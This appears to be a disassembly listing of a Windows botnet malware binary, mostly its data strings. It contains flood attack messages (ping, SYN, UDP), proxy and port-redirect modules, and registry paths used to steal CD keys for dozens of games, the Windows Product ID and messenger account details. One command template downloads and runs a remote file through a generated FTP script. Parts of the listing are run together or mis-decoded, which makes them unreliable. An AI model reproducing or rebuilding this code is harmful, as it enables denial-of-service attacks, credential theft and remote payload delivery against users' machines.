dword_446CEF	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 4
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 10h
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 10h
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 10h
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 10h
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 10h
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 4
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 10h
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 10h
		dd 0
off_446EF4	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 10h
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 10h
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 10h
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 10h
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 10h
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 8
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		align 10h
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 4
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 4
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 10h
		dd 0
asc_4471E4	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 10h
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_44720C	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		align 10h
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 4
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472EC	dd 1000005h, 0	dword_4472F4	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 10h
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473BCo
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 4
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 10h
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 10h
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 10h
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 8
dword_447498	dd 524F5453h	byte_44749C	db 0			; DATA XREF: sub_42E5B0+EDr
		align 10h
dword_4474A0	dd 52544552h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+D3r
		align 4
dword_4474A8	dd 5453494Ch	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+B8r
		align 10h
dword_4474B0	dd 54534C4Eh	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+9Er
		align 4
dword_4474B8	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 4
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 10h
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 4
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 8
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 10h
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 10h
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 10h
off_447670	dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
					; "socket open failed"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 8
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 10h
word_4476B0	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476B4	dd 25206425h, 64hdword_4476BC	dd 455A4953h, 732520h, 0dword_4476C8	dd 4D54444Dh, 732520h, 0dword_4476D4	dd 4F544E52h, 732520h, 0dword_4476E0	dd 52464E52h, 732520h, 0dword_4476EC	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 10h
dword_447700	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 10h
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 448854h, 448F30h,	448820h, 80000002h, 4487C0h
		dd 448F30h, 448790h, 80000002h,	448738h, 448F30h, 448714h
		dd 80000002h, 4486CCh, 448F30h,	4486B4h, 80000002h, 448670h
		dd 448F30h, 448648h, 80000002h,	44860Ch, 448F30h, 4485D8h
		dd 80000002h, 448578h, 448F30h,	44854Ch, 80000002h, 448528h
		dd 448520h, 4484F4h, 80000002h,	4484CCh, 448520h, 4484B4h
		dd 80000001h, 448484h, 448480h,	448470h, 80000002h, 448434h
		dd 448F30h, 448424h, 80000002h,	4483E8h, 448F30h, 4483D4h
		dd 80000002h, 44838Ch, 448F30h,	448370h, 80000002h, 44832Ch
		dd 448F30h, 448310h, 80000001h,	4482E8h, 448480h, 4482D8h
		dd 80000001h, 4482B0h, 448480h,	448290h, 80000002h, 448254h
		dd 448250h, 448234h, 80000002h,	448210h, 448208h, 4481F0h
		dd 80000001h, 4481C4h, 4481BCh,	448198h, 80000002h, 44814Ch
		dd 448F30h, 448124h, 80000002h,	4480D0h, 448F30h, 448098h
		dd 80000002h, 448034h, 448F30h,	448000h, 80000002h, 447FA0h
		dd 448F30h, 447F84h, 80000002h,	447F3Ch, 448F30h, 447F20h
		dd 80000002h, 447ED8h, 448F30h,	447EC8h, 80000002h, 447E8Ch
		dd 448F30h, 447E7Ch, 80000002h,	447E40h, 448F30h, 447E18h
		dd 80000002h, 447DC4h, 448F30h,	447D9Ch, 80000002h, 447D4Ch
		dd 448F30h, 447D30h, 80000002h,	447D08h, 448480h, 447CF4h
		dd 80000002h, 447CBCh, 448F30h,	447C8Ch, 80000002h, 447C34h
		dd 448F30h, 447C18h, 80000001h,	447BC8h, 447BC0h, 447BA4h
		dd 80000002h, 447B60h, 447B54h,	447B3Ch, 80000001h, 447B0Ch
		dd 447B00h, 447AE0h, 80000002h,	447AA4h, 447BC0h, 447A84h
		dd 80000002h, 447A48h, 447BC0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 4
		dd 0
dword_4488EC	dd 3A6D6961h, 732520h, 0dword_4488F8	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A2C	dd 3A6E736Dh, 732520h, 0dword_448A38	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B64:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B6F:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B7B:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B87:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448B98:				; CODE XREF: ___:00448B9Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448B98
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA3o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B7Ao
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BCCo
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B05o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF5o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
